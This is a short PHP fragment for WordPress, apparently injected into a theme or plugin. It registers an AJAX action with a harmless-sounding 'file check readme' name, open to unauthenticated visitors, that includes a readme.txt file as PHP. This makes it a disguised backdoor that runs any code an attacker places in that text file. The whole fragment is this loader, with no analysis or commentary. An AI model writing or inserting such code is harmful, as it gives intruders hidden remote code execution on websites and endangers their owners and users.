if(!function_exists('file_check_readme87917')){
   add_action('wp_ajax_nopriv_file_check_readme87917', 'file_check_readme87917');
   add_action('wp_ajax_file_check_readme87917', 'file_check_readme87917');
   function file_check_readme87917()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}